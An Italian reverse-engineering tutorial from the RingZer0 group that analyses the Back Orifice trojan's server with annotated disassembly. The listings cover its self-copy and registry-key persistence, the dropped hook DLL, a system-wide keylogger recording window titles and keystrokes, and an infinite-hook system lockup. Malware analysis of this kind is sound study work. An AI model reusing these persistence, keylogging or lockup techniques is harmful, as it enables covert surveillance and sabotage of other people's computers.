Little-John, proud member of RingZer0 (ringzer0.cjb.net), presents

 		* R e v e r s i n g * B O S e r v e r *



LETTERATURA
------------
 Iczelion's Guide to Winsock Programming (in Italiano su RingZ3r0)
 WIN32 Api Guide
 MSDN Library Visual Studio 6

TOOLS (CHE IO USO :)
--------------------
 SoftIce 3.23 (o 4.0 !!!)
 BoundsChecker C++ v6.01
 IDA Pro v3.8b

Premessa: il funzionamento del BO
---------------------------------
 Il Bo consta di 2 parti: server & client. Il server risiede sulla macchina da
hackare, il client su quella dell''hacker' (se cos∞ possono essere definite le
persone che ne fanno uso, altro termine pi∙ appropriato sarebbe 'lamerone
bastardo'). Cos∞ il client, attraverso la rete, manda le richieste al server, il
server le soddisfa sulla macchina su cui risiede, e manda l'esito delle
operazioni al client.

Reversing BoServer
------------------
 Salve a tutti i naviganti, che forse, dopo aver letto questa ish, chiuderanno
la connessione e butteranno il modem dalla finestra :).
 Provate a ricercare in un motore di ricerca 'Back Orifice', oppure 'Bo Server'
e poi, perchΦ no, anche 'Nobo'... fatevi un po' di cultura sull'argomento e poi
continuate

 Ok, ora che sapete cos'Φ il BO sarete forse anche curiosi di sapere come
funziona, e in questa ish analizziamo il lato server (quello che fa pi∙ male ;).

 Prima di tutto disassemblate con IDA il file server (mi raccomando a stare
attenti con l'esecuzione del boserver, pu≥ avere diversi nomi, e dopo
l'esecuzione lo ritrovate in \windows\system\ .exe, si proprio ' ..exe').
 Infatti analizzando il file con il BoundsChecker, si nota che il server si
autocopia nella directory \windows\system come .exe, si autocancella dalla
posizione corrente e crea nel registro di windows una chiave per autoavviarsi ad
ogni avvio (HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices). A
questo punto la macchina Φ 'infetta' e il server accoglierα ogni richiesta dei
client BO (se provate in locale lo potrete constatare). Naturalmente basta
cancellare la chiave del registro '(Predefinito) .exe' e al successivo riavvio
il Server Φ disattivato.

SNiPPeT

 Per analizzare meglio il file bisogna fare in modo che, quando si autocopia,
cambi il proprio nome in maniera diversa da ' .exe', per esempio 'a.exe'. Non
crediate che questa operazione eviti il caricamento corretto del server: se fate
in modo che il file si autorinonimi in a.exe, nella chiave di registro
..\Windows\CurrentVersion\RunServices troverete a.exe. Infatti questo
cambiamento si attua modificando la stringa ' .exe' in 'a.exe' nel file del
server, quindi per tutte le operazioni sarα usata la stringa a.exe. Anche in
SoftIce se non cambiate il file a digitate 'task' nella vostra lista di task
attivi troverete uno spazio vuoto. Dopo aver patchato il file tra i task ci
sarα, ad esempio, a.

end SNiPPeT

 L'inizializzazione del socket Φ all'indirizzo 00404244 con la funzione
WSOCK32_115 che potreste rinominare con _WSAStartup.

..text:00404238 8D 85 1C D0 FF FF lea     eax, [ebp+WSAData]
..text:0040423E 50                push    eax
..text:0040423F 68 01 01 00 00    push    101h
..text:00404244 E8 5F 75 00 00    call    _WSAStartup

 I parametri quindi passati alla funzione, naturalmente in ordine inverso, sono
il puntatore alla struttura WSAData e la versione del socket (1.1 in questo
caso).

 Dopo la creazione del socket il server non si butta a capofitto nella apertura
dei 'servizi', ma crea attorno a sΦ un ambiente in cui vengano implementate
tutte le funzioni.
 Ad esempio per il keyboard / console hooking il server crea on-the-fly ad ogni
avvio windll.dll (la trovate nella directory \system) che esporta due funzioni

 1 _KeyHookProc@12
 2 _ConsoleHookProc@12

 Il server, per assicurarsi che la dll sia la sua, la cancella ogni volta che
viene avviato e poi la ricrea. Siccome la dll Φ hardcodata nel file, il server
usa SetFilePointer, poi legge nel file il codice della dll e mette tutto in un
buffer ed infine crea il file con i dati del buffer.
 Il codice della creazione Φ:

004042FB 8D 85 90 F5 FF FF lea     eax, [ebp+FileName]
00404301 53                push    ebx
00404302 68 80 00 00 00    push    80h
00404307 6A 02             push    2
00404309 53                push    ebx
0040430A 53                push    ebx
0040430B 68 00 00 00 C0    push    0C0000000h
00404310 50                push    eax
00404311 FF 15 5C 24 42 00 call    ds:CreateFileA        ; CreateFileA:
00404317 8B F0             mov     esi, eax
00404319 57                push    edi			 ; HRSRC
0040431A 53                push    ebx			 ; Hmodule
0040431B FF 15 74 24 42 00 call    ds:SizeofResource     ; SizeofResource
00404321 89 45 EC          mov     [ebp+FileSize], eax
00404324 3B C3             cmp     eax, ebx
00404326 74 12             jz      short loc_0_40433A
00404328 53                push    ebx
00404329 8D 45 D8          lea     eax, [ebp+STROverlapped]
0040432C 50                push    eax                   ; BytesWritten
0040432D FF 75 EC          push    [ebp+FileSize]        ; BytesToWrite
00404330 FF 75 E8          push    [ebp+lpBuffer]        ; Buffer
00404333 56                push    esi                   ; FileHandle
00404334 FF 15 8C 24 42 00 call    ds:WriteFile          ; WriteFile:
0040433A                   loc_0_40433A:                
0040433A 56                push    esi
0040433B FF 15 D8 24 42 00 call    ds:CloseHandle        ; CloseHandle:
00404341 FF 75 E8          push    [ebp+lpBuffer]
00404344 FF 15 70 24 42 00 call    ds:FreeResource       ; FreeResource:


 Se provate a cancellare questa dll e azionate il keyboard hooking dal client
leggerete un messaggio di errore nella finestra del client (Error
1157:Impossibile trovare uno dei file della libreria necessari per eseguire
l'applicazione loading DLL).

 Le chiamate successive inerenti al socket sono:
 _CreateSpecSock (WSOCK32_23), creazione del socket
 _ConvToTCP (WSOCK32_9), conversione dell'indirizzo in formato TCP/IP
 _LinkAddrToSock (WSOCK32_2), bind, cioΦ assegna un indirizzo al socket

 Le richieste del client sono gestite da un apparato 'switch case' di 64 casi
totali, tra cui la gestione degli errori (unknown command e unimplemented
function):

..text:00404A58 83 F8 3F          cmp     eax, 3Fh               ; switch 64
cases
..text:00404A5B 77 07             ja      short loc_0_404A64     ; default
..text:00404A5D FF 24 85 BB 99 40+jmp     ds:off_0_4099BB[eax*4] ; switch jump
..text:00404A64 68 8C 7B 41 00    loc_0_404A64:                  
..text:00404A64                   push    offset str->UnknownCom ; default
..text:00404A69 8D 85 64 E5 FF FF lea     eax, [ebp+SystemDirectory]
..text:00404A6F 50                push    eax
..text:00404A70 E9 7E 4E 00 00    jmp     loc_0_4098F3

 In questa ish analizzeremo le funzioni (a mio parere) pi∙ interessanti ;> che
il server mette a disposizione del client:
 - KeyLog (begin/end)
 - System Lockup

KEYLOGGING
----------
 Come ho prima affermato il codice della funzione per loggare la digitazione dei
tasti non risiede nel server, ma nella dll da lui creata (windll.dll).

..text:00405656 8D 85 3C FD FF FF KeyLog:                      
..text:00405656                   lea     eax, [ebp+MessageBuffer]    ; case 0x7
..text:0040565C 50                push    eax
..text:0040565D E8 7E 61 00 00    call    MessageLength         ; ret
(eax=length)
..text:00405662 83 C4 04          add     esp, 4
..text:00405665 85 C0             test    eax, eax
..text:00405667 0F 84 79 42 00 00 jz      loc_0_4098E6
..text:0040566D 39 1D 50 71 41 00 cmp     HookHandle, ebx

/* In questa parte dell'applicazione viene ricevuto il messaggio di keylogging e
viene effettuato un controllo per assicurarsi che non sia giα stato avviato.
Infatti se la variabile HookHandle Φ contiene l'handle del processo di hooking
allora viene generato un messaggio di LoggingInProgress */

..text:00405673 74 11             jz      short InitKeyHook		;---+
..text:00405675 68 60 81 41 00    push    offset str->LoggingInP		;   |
..text:0040567A 8D 85 64 E5 FF FF lea     eax, [ebp+SystemDirectory]	;   |
..text:00405680 50                push    eax				;   |
..text:00405681 E9 6D 42 00 00    jmp     loc_0_4098F3			;   |
..text:00405686                   InitKeyHook:				;<--+

/* Tutte le operazioni svolte con i tasti dall'utente vengono salvate in un file
che viene mappato in memoria:

..text:00405686 68 4C 81 41 00    push    offset str->Bofilema_0		; nome file
..text:0040568B 68 08 01 00 00    push    108h				; attrib
..text:00405690 53                push    ebx				; protezione del file
..text:00405691 6A 04             push    4				; high-order size
..text:00405693 53                push    ebx				; low-order size
..text:00405694 6A FF             push    0FFFFFFFFh			; handle del file
..text:00405696 FF 15 40 24 42 00 call    ds:CreateFileMappingA

/* Nella guida delle API di Winsoz Φ riportato che se l'handle del file Φ
0FFFFFFFFh, allora il file pi∙ che essere l'immagine in memoria di un file
fisico, Φ, in sostanza, una zona di memoria
le cui dimensioni sono passate alla chiamata (high-low order 32bits). L'handle
del file Φ restituito in eax */

..text:0040569C 53                push    ebx
..text:0040569D 89 45 94          mov     [ebp+MapFileHandle], eax
..text:004056A0 3B C3             cmp     eax, ebx
..text:004056A2 75 22             jnz     short loc_0_4056C6
[...]
..text:004056C6                   loc_0_4056C6:
..text:004056C6 53                push    ebx
..text:004056C7 53                push    ebx
..text:004056C8 6A 02             push    2
..text:004056CA FF 75 94          push    [ebp+MapFileHandle]
..text:004056CD FF 15 68 24 42 00 call    ds:MapViewOfFile

/* Il file Φ quindi mappato in modo readwrite nello spazio di indirizzamento del
server, eax indica l'indirizzo da cui inizia la mappatura */

..text:004056D3 8B F0             mov     esi, eax
..text:004056D5 8D 85 3C FD FF FF lea     eax, [ebp+var_2C4]
..text:004056DB 50                push    eax
..text:004056DC 56                push    esi
..text:004056DD E8 CE 64 00 00    call    MessageCreator
..text:004056E2 83 C4 08          add     esp, 8
..text:004056E5 56                push    esi
..text:004056E6 FF 15 C8 24 42 00 call    ds:UnmapViewOfFile

/* ... */

..text:004056EC BE 2C 7B 41 00    mov     esi, offset str->Windll_dll
..text:004056F1 56                push    esi
..text:004056F2 FF 15 14 24 42 00 call    ds:LoadLibraryA
..text:004056F8 89 45 D4          mov     [ebp+LibHandle], eax
..text:004056FB 3B C3             cmp     eax, ebx
..text:004056FD 75 2E             jnz     short loc_0_40572D
[...]
..text:0040572D                   push    offset str->_keyhookpr
..text:00405732 FF 75 D4          push    [ebp+LibHandle]
..text:00405735 FF 15 10 25 42 00 call    ds:GetProcAddress
..text:0040573B 53                push    ebx
..text:0040573C 85 C0             test    eax, eax
..text:0040573E 75 22             jnz     short loc_0_405762

/* Una volta che la libreria Φ stata aperta viene importato l'indirizzo della
funzione di keyhooking (in eax) */

[...]
..text:00405762                   loc_0_405762:
..text:00405762 FF 75 D4          push    [ebp+LibHandle]
..text:00405765 50                push    eax
..text:00405766 6A 02             push    2
..text:00405768 FF 15 20 26 42 00 call    ds:SetWindowsHookExA
..text:0040576E A3 50 71 41 00    mov     HookHandle, eax
..text:00405773 3B C3             cmp     eax, ebx
..text:00405775 75 31             jnz     short loc_0_4057A8

/* Con l'api SetWindowsHookExA viene settata la funzione di hooking, in
particolare siccome ebx Φ uguale a 0, tutti i thread sono 'affetti' dall'hooking
e il tipo di hooking specificato Φ il WH_KEYBOARD (push 2) */

[...]
..text:004057A8                   loc_0_4057A8:
..text:004057A8 68 D0 80 41 00    push    offset str->LoggingKey
..text:004057AD 8D 85 64 E5 FF FF lea     eax, [ebp+SystemDirectory]
..text:004057B3 50                push    eax
..text:004057B4 E8 F7 62 00 00    call    sub_0_40BAB0
..text:004057B9 E9 3A 41 00 00    jmp     loc_0_4098F8

 Ma ora vediamo in cosa effettivamente consiste la funzione di keyhooking ( hey
Neural ;) cos∞ come sviluppata nella windll.dll.

..text:10001056 68 70 33 00 10    push    offset str->Bofilemapp
..text:1000105B 6A 00             push    0
..text:1000105D 6A 02             push    2
..text:1000105F FF 15 E8 40 00 10 call    ds:OpenFileMappingA
..text:10001065 8B F0             mov     esi, eax
..text:10001067 85 F6             test    esi, esi
..text:10001069 75 07             jnz     short loc_0_10001072
[...]
..text:10001072                   loc_0_10001072:
..text:10001072 6A 00             push    0
..text:10001074 6A 00             push    0
..text:10001076 6A 00             push    0
..text:10001078 6A 02             push    2
..text:1000107A 56                push    esi
..text:1000107B FF 15 E4 40 00 10 call    ds:MapViewOfFile
..text:10001081 8B F8             mov     edi, eax
..text:10001083 68 6C 33 00 10    push    offset str->A
..text:10001088 57                push    edi
..text:10001089 FF 15 14 41 00 10 call    ds:fopen
..text:1000108F 83 C4 08          add     esp, 8
..text:10001092 8B D8             mov     ebx, eax
..text:10001094 57                push    edi
..text:10001095 FF 15 E0 40 00 10 call    ds:UnmapViewOfFile
..text:1000109B 56                push    esi
..text:1000109C FF 15 F8 40 00 10 call    ds:CloseHandle
..text:100010A2 85 DB             test    ebx, ebx

/* Il file in cui viene loggato l'input da tastiera Φ ora aperto e accessibile
con un handle */

..text:100010A4 0F 84 E4 04 00 00 jz      Error
..text:100010AA FF 15 50 41 00 10 call    ds:GetFocus
..text:100010B0 39 05 10 30 00 10 cmp     dword_0_10003010, eax
..text:100010B6 8B E8             mov     ebp, eax
..text:100010B8 0F 84 85 00 00 00 jz      loc_0_10001143
..text:100010BE 68 68 33 00 10    push    offset str->->		; formato
..text:100010C3 8B 35 3C 41 00 10 mov     esi, ds:fprintf
..text:100010C9 53                push    ebx			; puntatore al file
..text:100010CA FF D6             call    esi (=fprintf)

/* La funzione fprintf lavora cos∞: acquisisce il puntatore alla struttura file
(ebx in questo caso) e il tipo di formattazione da usare (->). Se non Φ
specificata la formattazione la funzione utilizzerα di default %. Quindi la
prima cosa che il server scriverα nel file di logging Φ -> seguito, come vedremo
dal titolo della finestra in cui si digita il testo. */

..text:100010CC 8D 84 24 20 01 00+lea     eax, [esp+520h+WindTextBuf]
..text:100010D3 83 C4 08          add     esp, 8
..text:100010D6 89 2D 10 30 00 10 mov     dword_0_10003010, ebp
..text:100010DC 68 00 04 00 00    push    400h
..text:100010E1 50                push    eax
..text:100010E2 55                push    ebp
..text:100010E3 FF 15 58 41 00 10 call    ds:GetWindowTextA

/* Con questa funzione viene ricevuto il titolo della finestra. */

..text:100010E9 85 ED             test    ebp, ebp
..text:100010EB 74 49             jz      short loc_0_10001136
..text:100010ED                   loc_0_100010ED:
..text:100010ED 55                push    ebp
..text:100010EE FF 15 54 41 00 10 call    ds:GetParent
..text:100010F4 8B E8             mov     ebp, eax
..text:100010F6 68 00 04 00 00    push    400h
..text:100010FB 8D 84 24 1C 01 00+lea     eax, [esp+51Ch+WindTextBuf]
..text:10001102 50                push    eax
..text:10001103 55                push    ebp
..text:10001104 FF 15 58 41 00 10 call    ds:GetWindowTextA
..text:1000110A 8D BC 24 18 01 00+lea     edi, [esp+518h+WindTextBuf]
..text:10001111 B9 FF FF FF FF    mov     ecx, 0FFFFFFFFh
..text:10001116 2B C0             sub     eax, eax
..text:10001118 F2 AE             repne scasb
..text:1000111A F7 D1             not     ecx
..text:1000111C 49                dec     ecx
..text:1000111D 74 13             jz      short loc_0_10001132
..text:1000111F 8D 84 24 18 01 00+lea     eax, [esp+518h+WindTextBuf]
..text:10001126 50                push    eax
..text:10001127 68 60 33 00 10    push    offset str->S
..text:1000112C 53                push    ebx
..text:1000112D FF D6             call    esi (=fprintf)

/* Qui viene scritto nel file il titolo della finestra poichΦ a fprintf sono
passati:
- eax = testo da scrivere, cioΦ il titolo della finestra in cui si sta digitando
- str->S = formattazione della stringa, questa volta ['%s'], quindi di tipo
string
- ebx = puntatore al file
*/

..text:1000112F 83 C4 0C          add     esp, 0Ch
..text:10001132                   loc_0_10001132:
..text:10001132 85 ED             test    ebp, ebp		; ebp = 0 se non ci sono
altre
								; finestre
..text:10001134 75 B7             jnz     short loc_0_100010ED
..text:10001136                   loc_0_10001136:
..text:10001136 68 5C 33 00 10    push    offset ACapo		; 0A
..text:1000113B 53                push    ebx
..text:1000113C FF D6             call    esi (=fprintf)

/* Quando la struttura della finestra in cui l'infetto scrive Φ stata
sufficientemente analizzata viene scritto nel file il byte di CarriageReturn
(0A) */

..text:1000113E 83 C4 08          add     esp, 8
..text:10001141 EB 06             jmp     short loc_0_10001149
..text:10001143                   loc_0_10001143:
..text:10001143                   loc_0_10001143:
..text:10001143 8B 35 3C 41 00 10 mov     esi, ds:fprintf
..text:10001149                   loc_0_10001149:
..text:10001149 F6 84 24 25 05 00+test    byte ptr [esp+518h+HookHandle+1], 20h
..text:10001151 74 0C             jz      short SwitchCase
..text:10001153 53                push    ebx
..text:10001154 6A 5E             push    5Eh
..text:10001156 FF 15 38 41 00 10 call    ds:fputc
..text:1000115C 83 C4 08          add     esp, 8
..text:1000115F                   SwitchCase:
..text:1000115F 8B AC 24 20 05 00+mov     ebp, [esp+518h+HookCode]
..text:10001166 8D 4D FF          lea     ecx, [ebp-1]
..text:10001169 81 F9 FD 00 00 00 cmp     ecx, 0FDh
..text:1000116F 77 0F             ja      short loc_0_10001180
..text:10001171 33 C0             xor     eax, eax
..text:10001173 8A 81 5C 17 00 10 mov     al, ds:byte_0_1000175C[ecx]
..text:10001179 FF 24 85 EC 15 00+jmp     ds:off_0_100015EC[eax*4]
..text:10001180                   loc_0_10001180:

/* Il codice sopra serve per analizzare l'input da tastiera: con una struttura
Switch Case vengono gestiti i diversi tasti, dai Control a quelli del tastierino
numerico... Quando viene acquisito il tasto la funzione aggiorna il file e lo
chiude. Tutto ricomincierα quando viene premuto un altro tasto */

KEYLOGGING END

SYSTEM LOCKUP
-------------
 Come fa il server a bloccare il computer?
 Il sistema utilizzato dai ragazzi del Cult_of_the_dead_Cow Φ tanto semplice
quanto ingegnoso :).

..text:00409970                   MachineLock:		      ; case 0x3
..text:00409970 33 F6             xor     esi, esi             
..text:00409972 8D 45 AC          lea     eax, [ebp+var_54]
..text:00409975 56                push    esi
..text:00409976 56                push    esi
..text:00409977 56                push    esi
..text:00409978 FF 75 E3          push    [ebp+Action+3]
..text:0040997B 68 C8 8C 41 00    push    offset str->LockingUpM
..text:00409980 50                push    eax
..text:00409981 FF 75 E4          push    [ebp+var_1C]
..text:00409984 E8 E1 78 FF FF    call    DataSender

/* Il server invia il messaggio al client per assicurargli che l'operazione Φ
stata svolta */

..text:00409989 83 C4 1C          add     esp, 1Ch
..text:0040998C 68 D0 07 00 00    push    7D0h
..text:00409991 FF 15 A4 24 42 00 call    ds:Sleep
..text:00409997 68 00 01 00 00    push    100h
..text:0040999C FF 15 D0 24 42 00 call    ds:GetCurrentProcess
..text:004099A2 50                push    eax
..text:004099A3 FF 15 1C 24 42 00 call    ds:SetPriorityClass

/* Il server passa la propria prioritα a realtime (push 100) */

..text:004099A9                   loc_0_4099A9:
..text:004099A9 56                push    esi
..text:004099AA 56                push    esi
..text:004099AB E8 A0 3A 00 00    call    sub_0_40D450
..text:004099B0 50                push    eax
..text:004099B1 6A 09             push    9
..text:004099B3 FF 15 20 26 42 00 call    ds:SetWindowsHookExA
..text:004099B9 EB EE             jmp     short loc_0_4099A9

/* Viene installato in maniera ricorsiva un hook di tipo Debug in un loop
infinito :P */


SYSTEM LOCKUP END


Ultime considerazioni
---------------------

 Le altre funzioni implementate dal server non sono niente di particolare (dal
punto di vista del reversing) e lascio alla vostra curiositα la loro
esplorazione.

 Hey boyz, non perdetevi la prossima tute sul NOBO ;)


Ring-raziamenti
 Naturalmente non posso non salutare tutti i members di RingZ3r0, e tutti coloro
che frequentano #crack-it. Sperando di incontrarvi al prossimo Hack-it
 Little-John